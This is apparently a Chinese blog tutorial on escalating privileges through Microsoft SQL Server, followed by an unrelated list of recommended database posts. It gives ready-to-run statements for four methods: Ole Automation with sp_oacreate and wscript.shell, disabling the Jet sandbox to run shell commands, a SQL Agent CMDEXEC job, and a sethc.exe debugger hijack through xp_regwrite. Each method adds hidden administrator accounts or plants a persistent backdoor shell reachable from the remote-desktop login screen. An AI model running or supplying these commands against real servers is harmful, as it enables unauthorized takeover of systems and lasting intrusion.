如何进行MSSQL提权?sp_oacreate、sp_oamethod和沙盒提权以及xp_regwrighte提权

1、sp_oacreate、sp_oamethod提权

1、开启sp-oascreate

执行下面的语句

注意:2005默认是禁用的。2000默认开启。(可以同时执行)

execsp_configure'show advanced options',1;

RECONFIGURE;

execsp_configure'Ole Automation Procedures',1;

RECONFIGURE;

2、创建账户

开启sp-ascreate之后,创建账户(语句可以同时同时执行)

declare**@cmd**INT;

execsp_oacreate 'wscript.shell',@cmdoutput;

execsp_oamethod @cmd,'run',null,'net user hack hack /add','0','true';

execsp_oacreate 'wscript.shell',@cmdoutput;

execsp_oamethod @cmd,'run',null,'net localgroup administrators hack /add','0','true';

先检测命令是否无误

直接执行命令

2、沙盒提权

1、开启Ad Hoc Distributed

exec sp_configure'show advanced options',1

reconfigure

exec sp_configure'Ad Hoc Distributed Queries',1

reconfigure

2、关掉沙盒模式

EXECmaster .dbo .xp_regwrite 'HKEY_LOCAL_MACHINE','SoftWare\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',0

3、添加账号

Select* FromOpenRowSet('Microsoft.Jet.OLEDB.4.0',';Database=c:\windows\system32\ias\ias.mdb','select shell("net user sql$ 123 /add")');

验证账号是否创建成功

4、加入管理员组

Select*FromOpenRowSet('Microsoft.Jet.OLEDB.4.0',';Database=c:\windows\system32\ias\ias.mdb','select shell("net localgroup administrators sql$ /add")');

3、JOB提权

1、启动sqlagent服务

execmaster .dbo .xp_servicecontrol'start','SQLSERVERAGENT'

2、创建任务

USE msdb

GO

-- 首先检查并删除已存在的作业(如果存在)

IF EXISTS (SELECT 1 FROM msdb.dbo.sysjobs WHERE name = 'x')

BEGIN

EXEC sp_delete_job @job_name = 'x'

END

GO

-- 创建新作业

EXEC sp_add_job

@job_name = 'x',

@enabled = 1

GO

-- 添加作业步骤 - 使用正确的子系统名称

EXEC sp_add_jobstep

@job_name = 'x',

@step_name = 'Step1',

@subsystem = 'CMDEXEC', -- 修正为正确的子系统名称

@command = 'cmd /c "net user hack hack /add & net user hack1 hack1 /add & net localgroup administrators hack1 /add > c:\q.txt"',

@on_success_action = 1

GO

-- 将作业附加到服务器

EXEC sp_add_jobserver

@job_name = 'x'

GO

-- 启动作业

EXEC sp_start_job @job_name = 'x'

GO

创建成功,并成功加入管理员组

4、xp_regwrighte提权(留后门)

1、利用regwrite函数修改注册表

EXEC master..xp_regwrite

@rootkey = 'HKEY_LOCAL_MACHINE',

@key = 'SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.EXE',

@value_name = 'Debugger',

@type = 'REG_SZ',

@value = 'c:\windows\system32\cmd.exe'

2、检查劫持是否成功

master..xp_regread'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\WindowsNT\CurrentVersion\Image File Execution Options\sethc.exe','Debugger'

如果这里没有成功,手动创建

上面图片按照这个路径往下点

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WindowsNT\CurrentVersion\Image File Execution Options

新建一个项,名字叫sethc.exe

选择字符串

内容为这个

远程连接开启

出现这个,选择否,图中箭头标错了

执行这个命令会弹出桌面explorer.exe

这样就直接进入别人桌面

至此,这种方式提权成功

相关推荐
透明的玻璃杯5 分钟前
sqlite数据库链接池二
数据库·oracle·sqlite
老华带你飞5 分钟前
出行旅游安排|基于springboot出行旅游安排系统(源码+数据库+文档)
java·数据库·vue.js·spring boot·后端·spring·旅游
Logic10134 分钟前
《数据库运维》 郭文明 实验4 数据库备份与恢复实验核心操作与思路解析
运维·数据库·sql·mysql·学习笔记·形考作业·国家开放大学
马克学长35 分钟前
SSM物流信息管理系统35wzn(程序+源码+数据库+调试部署+开发环境)带论文文档1万字以上,文末可获取,系统界面在最后面
数据库·数字化管理·ssm 框架·物流信息管理
IndulgeCui42 分钟前
KingbaseES 三权分立原则
数据库
JIngJaneIL1 小时前
基于Java饮食营养管理信息平台系统(源码+数据库+文档)
java·开发语言·数据库·vue.js·spring boot
德彪稳坐倒骑驴1 小时前
SQL之前不懂,后来又学会的东西
数据库·sql
Maiko Star1 小时前
基于Redis ZSet实现多维度题目贡献度排行榜
数据库·redis·缓存
老华带你飞1 小时前
垃圾分类|基于springboot 垃圾分类系统(源码+数据库+文档)
java·数据库·vue.js·spring boot·后端·spring
CodeAmaz1 小时前
InnoDB的MVCC机制
java·数据库·mvcc